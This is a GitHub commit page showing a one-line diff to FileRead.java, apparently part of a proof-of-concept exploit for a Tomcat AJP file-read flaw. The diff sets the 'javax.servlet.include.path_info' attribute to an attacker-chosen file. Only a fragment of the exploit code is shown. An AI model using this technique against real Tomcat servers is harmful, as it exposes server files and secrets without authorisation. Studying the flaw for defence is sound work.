We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 6336bad commit 1f601a9Copy full SHA for 1f601a9
tomcat/ajp-bug/src/main/java/com/threedr3am/bug/tomcat/ajp/FileRead.java
@@ -48,7 +48,7 @@ public static void main(String[] args) throws IOException {
48
// create a message that indicates the beginning of the request
49
TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
50
forwardMessage.addAttribute("javax.servlet.include.request_uri", "1");
51
- forwardMessage.addAttribute("javax.servlet.include.path_info", args.length == 3 ? args[2] : "/index.jsp");
+ forwardMessage.addAttribute("javax.servlet.include.path_info", file);
52
forwardMessage.addAttribute("javax.servlet.include.servlet_path", "");
53
54
forwardMessage.end();
0 commit comments